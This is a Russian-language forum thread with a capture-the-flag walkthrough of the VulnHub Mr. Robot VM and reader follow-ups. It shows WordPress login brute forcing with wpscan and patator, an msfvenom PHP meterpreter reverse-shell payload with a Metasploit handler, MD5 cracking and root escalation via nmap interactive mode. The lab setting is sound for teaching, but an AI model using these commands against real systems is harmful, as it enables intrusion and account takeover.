PDA

Просмотр полной версии : CTF. Взлом Mr.Robot VM.


Vander
12.09.2016, 16:14
Привет всем! В этой статье речь пойдет о CFT Challenge.

Capture the Flag (CTF сокращенно) — это хакерские соревнования. Суть игры заключается в том, что в распоряжение командам дается система с набором уязвимых приложений-сервисов. Основная задача – проанализировать систему, найти уязвимости, закрыть их у себя и как можно быстрее, используя найденные уязвимости, взломать системы соперника. В некоторых играх дополнительные очки начисляются за описание уязвимостей в бюллетенях безопасности.
Взлом такой системы и будет описан ниже. Проникновение осуществляется в рамках уязвимой системы Mr. Robot. Она основана на популярном телесериале, мистер Робот, и имеет три ключа, спрятанные в разных местах. Основная цель состоит в том, чтобы найти все три жетона скрытых в системе. Каждый последующий ключ найти сложнее предыдущего. Целевая система имеет ряд уязвимостей, которые не так уж и сложно обнаружить. Степень подготовки участника может быть на начальном – среднем уровне.
Приступим.

https://forum.antichat.xyz/attachments/28940807/img_2001f0d518.png

Скачиваем систему Mr.Robot отсюда - https://www.vulnhub.com/entry/mr-robot-1,151/
В качестве дистрибутива для взлома, мной будет использоваться Kali Linux Rolling.
Запускаем Mr. Robot, например в VM Virtual Box, затем, находим ее адрес в нашей сети. Используем утилиту netdiscover.

netdiscover – активный-пассивный сканер-разведчик адресов беспроводных сетей без DHCP сервера.

> netdiscover

https://forum.antichat.xyz/attachments/28940807/img_c236d71115.png

Получаем информацию обо всех адресах в нашей сети. Наш целевой хост это– 192.168.0.105,давайте просканируем его.
Выбираем агрессивный метод сканирования (-А).


> nmap –А 192.168.0.105

https://forum.antichat.xyz/attachments/28940807/img_bcee04528b.png

Результат сканирования показал нам открытые порты: 22, 80, 443. Попробуем постучаться на 80-й порт используя браузер.

https://forum.antichat.xyz/attachments/28940807/img_276fc4c78f.png

Мы убеждаемся в том, что цель выбрана правильно, работаем дальше.
Далее мы будем использовать nikto.
Nikto — утилита для обнаружения файлов, которые копируются при установке сервера в папки по умолчанию. Помимо этого она тестирует web- и CGI-серверы на предмет безопасного использования. Во время работы сканер осуществляет многочисленные запросы на удаленный сервер, что в некоторых случаях может вызвать его падение, поскольку такой же принцип применяется в DoS-атаках.
Она поможет нам собрать информацию о файлах и других важных вещах, которые мы должны знать о нашей цели. Вводим:

> nikto

https://forum.antichat.xyz/attachments/28940807/img_21cc7b261d.png


Исходя из полученной информации, видим, что на сервере есть файл с именем robots.txt. Анализом его мы и займемся. Красным я выделил несколько важных моментов, которые в дальнейшем нам помогут.
Открываем robots.txtв браузере:

https://forum.antichat.xyz/attachments/28940807/img_db6784f4d2.png

Затем открываем файл key-1-of-3.txt и получаем первый из трех ключей.

https://forum.antichat.xyz/attachments/28940807/img_4ab4b794d9.png

Следующее, что должно нас заинтересовать, это файл под названием fsocity.dic. Открываем его в браузере, затем сохраняем себе.
Посмотрим, что находится внутри словаря:

https://forum.antichat.xyz/attachments/28940807/img_1c146b4317.png

Теперь мы знаем, что обладая логином и паролем, мы могли бы получить доступ к цели. Перебирая имена пользователей, при попытке залогиниться в форме -192.168.0.105/wp-login.php мы всегда получали ошибку, что имени пользователя не существует . Но когда мы использовали имя elliot мы получили сообщение об ошибке, что введен неверный пароль.
И нам точно известно, что elliot правильное имя пользователя и мы просто должны найти пароль для него.
Будем надеяться, что пароль находиться в том же словаре, где обнаружился логин. Попробуем использовать утилиту wpscan, чтобы найти его.

WPScan — это сканер уязвимостей WordPress. Предустановлен.

Пишем:
> wpscan –url http://192.168.0.102 –wordlist /root/Desktop/fsocity.dic –username elliot

Где:

- wpscan -> запускает WPScan

- url -> обозначает URL по которому будет работать WPScan - http://192.168.0.105 -> наш URL

- wordlist -> обозначает путь к файлу словаря

- username -> обозначает имя пользователя

- elliot -> имя пользователя
Обработка занимает некоторое время, запасаемся терпением.

https://forum.antichat.xyz/attachments/28940807/img_f2a5d5ff8d.png

В результате получаем пароль пользователя elliot.

Для тех кому ожидание в тягость, предлагаю способ, значительно ускоряющий получение искомого пароля. Обратим внимание на файл license.txt. В нем содержится хеш пароля Эллиота. Найти его поможет встроенный в Firefox плагин firebug.

Firebug — расширение для браузера Firefox, являющееся консолью, отладчиком, и DOM-инспектором JavaScript, DHTML, CSS, XMLHttpRequest. Firebug показывает в консоли вызвавшую ошибку функцию, стек вызовов функций, вызвавших эту ошибку. Он предупреждает, что правило CSS или метод/свойство JavaScript, которое вы пытаетесь использовать, не существует.

Текст скрыт в нижней части страницы в заголовке

https://forum.antichat.xyz/attachments/28940807/img_6463ed8802.png
Попробуем расшифровать его в OWASP Zap, с параметрами base64:


OWASP Zed прокси Attack (ZAP)- это простой в использовании интегрированный инструмент для тестирования на проникновение, а также для поиска уязвимостей в web-приложениях. Программа предназначена для пользователей имеющих опыт работы в сфере информационной безопасности, таких как разработчики и функциональные тестеры. Программа будет полезным дополнением для набора инструментов разработчика.

https://forum.antichat.xyz/attachments/28940807/img_f0edf791a9.png


Пароль у нас в руках. Логинимся по адресу 192.168.0.105\wp-login.php используя полученные данные.

Теперь, когда мы вошли в систему, пришло время сгенерировать код полезной нагрузки и загрузить его в нашу цель. Вернемся в консоль Kali, пишем следующее:

> msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.105 lport=4444 -f raw

https://forum.antichat.xyz/attachments/28940807/img_92ac6481a8.png

Полученный код копируем от use exploit/multi/handler

> set payload php/meterpreter/reverse_tcp

> set lhost 192.168.0.105

> set lport 4444

> exploit

https://forum.antichat.xyz/attachments/28940807/img_7d9ee63f97.png

Открываем путь к шаблону в браузере как показано на скрине:

https://forum.antichat.xyz/attachments/28940807/img_0787c28d19.png

Жмем Enter и получаем открывшуюся сессию meterpreter.
Переходим в шелл и создаем python – скрипт, который позволит получить нам доступ к псевдо-терминалу pty. Затем выполняем его.

> echo “import pty; pty.spawn(‘ /bin/bash’)” > /tmp/asd.py

> python /tmp/asd.py

https://forum.antichat.xyz/attachments/28940807/img_1a6d11aab2.png

После выполненного выше, нам необходимо получить больше информацию о пользователе.

> ls -lsa (получаем информацию о текущем каталоге)

> cd home (переходим в домашний каталог)

> ls -lsa

Нашей целью является пользователь под ником robot, выполняем здесь команду:

> cd robot (переходим в каталог robot)

https://forum.antichat.xyz/attachments/28940807/img_f4211d0e14.png

> ls -lsa

Здесь находится два интересующих нас файла, первый это текстовый документ содержащий ключ, а второй несет в себе пароль зашифрованный алгоритмом хеширования MD5.

Попробуем посмотреть содержимое файла key-2-of-3.txt.

> cat key-2-of-3.txt

https://forum.antichat.xyz/attachments/28940807/img_bd5ea9cdf3.png

В доступе нам отказано. Давайте попробуем открыть файл MD5 и для этого вводим:

> cat password.raw-md5

Выполнение вышеуказанной команды выдаст значение MD5 (хэш-значение) пароля, как вы можете увидеть ниже:

https://forum.antichat.xyz/attachments/28940807/img_e3e14e01bd.png

Мы будем использовать md5cracker.org (online md5 value cracker), чтобы взломать хеш MD5. Введите хеш MD5, в текстовое поле и нажмите кнопку

Crack/encrypt.

https://forum.antichat.xyz/attachments/28940807/img_a64d07f4ad.png

В результате получаем расшифрованное значение MD5:

https://forum.antichat.xyz/attachments/28940807/img_abe3e94631.png

В терминале, пробуем переключиться на пользователя robot, используя полученный пароль.

> su robot

> ls –lsa

Смотрим содержимое файла:
> cat key-2-of-3.txt

https://forum.antichat.xyz/attachments/28940807/img_2f2c98e9a9.png

Получаем второй ключ!
Далее введите следующую команду:

> nmap

Подробнее об этом сканере можно узнать здесь - https://codeby.net/blogs/kniga-po-nmap-na-russkom/
Nmap поддерживает опцию, которая называется "интерактивная". С помощью этой опции, пользователи получили возможность выполнять команды оболочки с помощью nmap "shell" (интерактивная оболочка).

> nmap –interactive

https://forum.antichat.xyz/attachments/28940807/img_9b04f697be.png

Далее по порядку выполняем:

> !sh

> id(узнаем ID пользователей)

> cd /root (перейдем в каталог root)

https://forum.antichat.xyz/attachments/28940807/img_fb0cf6c4fe.png

Выполняем команду:

> ls –lsa

Видим, что здесь находится третий, последний ключ.

> cat key-3-of-3.txt

https://forum.antichat.xyz/attachments/28940807/img_0b6ec14fe4.png

Вот и все, все три ключа собраны, задача выполнена. Mr. Robot был успешно взломан. Еще хочу добавить, что это не единственный путь получения ключей, было бы отлично узнать о новых способах в комментариях или в новой теме.

Vander
13.09.2016, 10:09
mrx13 сказал(а):

Хотелось бы по больше видеть таких статей, спасибо автору

Будет побольше

Vander
21.09.2016, 20:38
Inject0r сказал(а):

А как узнать, что именно elliot - правильный логин? Вручную 2072 пароля с начала списка перебрать нужно что-ли?)


Не обязательно, из словаря я выбирал только то, что похоже на логин, доходим до Эллиота и все)

Vander
03.10.2016, 22:01
Файл с последним ключом разрешено читать всем пользователям, он только находится в директории /root

Vander
04.10.2016, 20:09
Я прошу прощения за неточности, везде, где необходимо, указывайте свой хост. Просто я прохожу их и на работе и дома, разные подсети, разные всегда хосты. Впредь буду писать 192.168.0.ХХХ (типа того)
P.S. Если, что не будет получаться, обязательно помогу.

@TommyWhite
04.10.2016, 20:46
Vander сказал(а):

Я прошу прощения за неточности, везде, где необходимо, указывайте свой хост. Просто я прохожу их и на работе и дома, разные подсети, разные всегда хосты. Впредь буду писать 192.168.0.ХХХ (типа того)
P.S. Если, что не будет получаться, обязательно помогу.


Мелочи правки) Так в чём может быть моя проблема? В приложении на скрине постарался всё показать. Идей пока нет. Как конкретно решил эту проблему @TommyWhite (https://forum.antichat.xyz/members/2588190/) не понял. Указал вроде всё верно.

Vander
04.10.2016, 20:55
Тема сохранена была? Затем при заданных параметрах metasploit, вы обращались к серверу по адресу так?
Открываем путь к шаблону в браузере как показано на скрине:

https://forum.antichat.xyz/attachments/28941407/img_0787c28d19.png

Vander
04.10.2016, 21:03
Darius сказал(а):

Да, точно, обратиться я не подумал, работает как часы.
Спасибо !)


Отлично)

Vander
16.10.2016, 21:24
MAdDog719 сказал(а):

Подскажи плиз. echo “import pty; pty.spawn(‘ /bin/bash’)” > /tmp/asd.py.

на этом этапе что то не срабатывает. Или ты предварительно создал скрипт на питоне с названием asd? и просто переместил его.

Привет, следующим шагом запусти скрипт командой:
> python asd.py

z3RoTooL
17.10.2016, 03:20
только сегодня пробовал взломать робота ))) спасибо за статью

Vander
17.10.2016, 13:44
kuklofon сказал(а):

только сегодня пробовал взломать робота ))) спасибо за статью


Скоро еще будут)

Vander
17.10.2016, 13:45
MAdDog719 сказал(а):

У меня консоль ругаеться что нет такого файлика)


import pty; pty.spawn(‘ /bin/bash’)” > /tmp/asd.py -проверьте правильность написания этой команды

z3RoTooL
17.10.2016, 13:55
MAdDog719 сказал(а):

У меня консоль ругаеться что нет такого файлика)


да потому что надо руками писать, а не копи паст делать не ленись!

Vander
18.10.2016, 20:06
Darius сказал(а):

Всё срабатывает (только кавычки не забудь поставить правильные прямые), (на экране просто введётся строка), а после 2ю (python /tmp/asd.py - вызов терминала под рутом) вставляй и всё заработает.


Верно)

<~DarkNode~>
27.10.2016, 06:44
На vulnhub есть достаточно много врайтапов которые демонстрирует разные техники и векторы.Тобиж там не одна сюжетная линия.За статью спасибо.

Vander
27.10.2016, 12:46
Matvey сказал(а):

Можно пожалуйста поподробнее как узнать какой правильный логин?
Перебирать из 2000 надписей логины это же очень долго. Даже если выбирать похожее на логин.


Вот, нашел один из способов - https://anandsecurity.blogspot.in/2016/08/ctf-mr-robot-1-challenge.html возможно рабочий

Vander
27.10.2016, 12:48
Matvey сказал(а):

Можно пожалуйста поподробнее как узнать какой правильный логин?
Перебирать из 2000 надписей логины это же очень долго. Даже если выбирать похожее на логин.


И вот еще, к сожалению проверить пока возможности нет, но если у вас выйдет, отпишитесь нам плз)) - https://reedphish.wordpress.com/2016/08/04/mr-robot-1-ctf-log/

Vander
30.10.2016, 15:25
Matvey сказал(а):

Проверил первый способ, работает!) Тут подробно рассказано как подобрать валидный логин .

Отлично, спасибо!

koldonuuchu
06.11.2016, 22:38
Автор ты принимаешь участие в CTF? не в курсе какие в ближайщее время? кроме pentestit.ru

ghostphisher
18.02.2017, 13:58
Inject0r сказал(а):

А как узнать, что именно elliot - правильный логин? Вручную 2072 пароля с начала списка перебрать нужно что-ли?)



ТС уже ответил, я дополню, что в реальных случаях помогает - Enumerating usernames, мы можем с долей некой вероятности получить список пользователей WP




Vander сказал(а):

Для тех кому ожидание в тягость, предлагаю способ, значительно ускоряющий получение искомого пароля. Обратим внимание на файл license.txt. В нем содержится хеш пароля Эллиота. Найти его поможет встроенный в Firefox плагин firebug.

Firebug — расширение для браузера Firefox, являющееся консолью, отладчиком, и DOM-инспектором JavaScript, DHTML, CSS, XMLHttpRequest. Firebug показывает в консоли вызвавшую ошибку функцию, стек вызовов функций, вызвавших эту ошибку. Он предупреждает, что правило CSS или метод/свойство JavaScript, которое вы пытаетесь использовать, не существует.

Текст скрыт в нижней части страницы в заголовке




Вот тут у меня что то не сложилось =\

Я видимо не совсем верно с данным расширением пробую работать. Можно подробнее по данному моменту?

Vander
18.02.2017, 16:01
ghostphisher сказал(а):

ТС уже ответил, я дополню, что в реальных случаях помогает - Enumerating usernames, мы можем с долей некой вероятности получить список пользователей WP


Вот тут у меня что то не сложилось =\

Я видимо не совсем верно с данным расширением пробую работать. Можно подробнее по данному моменту?


Что именно не сложилось?

ghostphisher
18.02.2017, 20:40
Vander сказал(а):

Что именно не сложилось?



Получить при помощи расширения для Firefox хэш
Немного дополню
Если не указать /tmp не создается файл (по крайне мере у меня)

echo "import pty; pty.spawn('/bin/bash')" > asd.py
/bin/sh: 8: cannot create asd.py: Permission denied
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asd.py
python /tmp/asd.py
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$
И вот способ как найти пользователя с помощью словаря

sudo patator http_fuzz url=http://192.168.1.29/wp-login.php method=POST body='log=FILE0&pwd=nn&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.Х.ХХХ%2Fwp-admin%2F&testcookie=1' follow=1 accept_cookie=1 0=./fsocity_sort.dic -x ignore:fgrep='Invalid username'
Не мое.

Chena
04.04.2017, 23:56
Спасибо ) Vander . Очень интересно ! И хитро )

Vander
06.04.2017, 19:58
AlexMen сказал(а):

Добрый час, хотел бы узнать на на Малину можно поставить? данный CTF, ноут слабенький 4 гб озу ) на виртуалку не хочеться ставить


А че нет, то? В самый раз

Chena
06.04.2017, 22:44
MAdDog719 сказал(а):

Подскажи плиз. echo “import pty; pty.spawn(‘ /bin/bash’)” > /tmp/asd.py.

на этом этапе что то не срабатывает. Или ты предварительно создал скрипт на питоне с названием asd? и просто переместил его.

Ошибка заключается не только в кавычках но и пробел не нужен (‘/bin/bash’) будет так echo "import pty; pty.spawn('/bin/bash')" > /tmp/asd.py

WhoAmI0
18.06.2019, 19:06
Приветствую Vander! Какие учётные данные для входа в mrRobot?

Vander
18.06.2019, 23:32
WhoAmI0 сказал(а):

Приветствую Vander! Какие учётные данные для входа в mrRobot?

Так секрет, это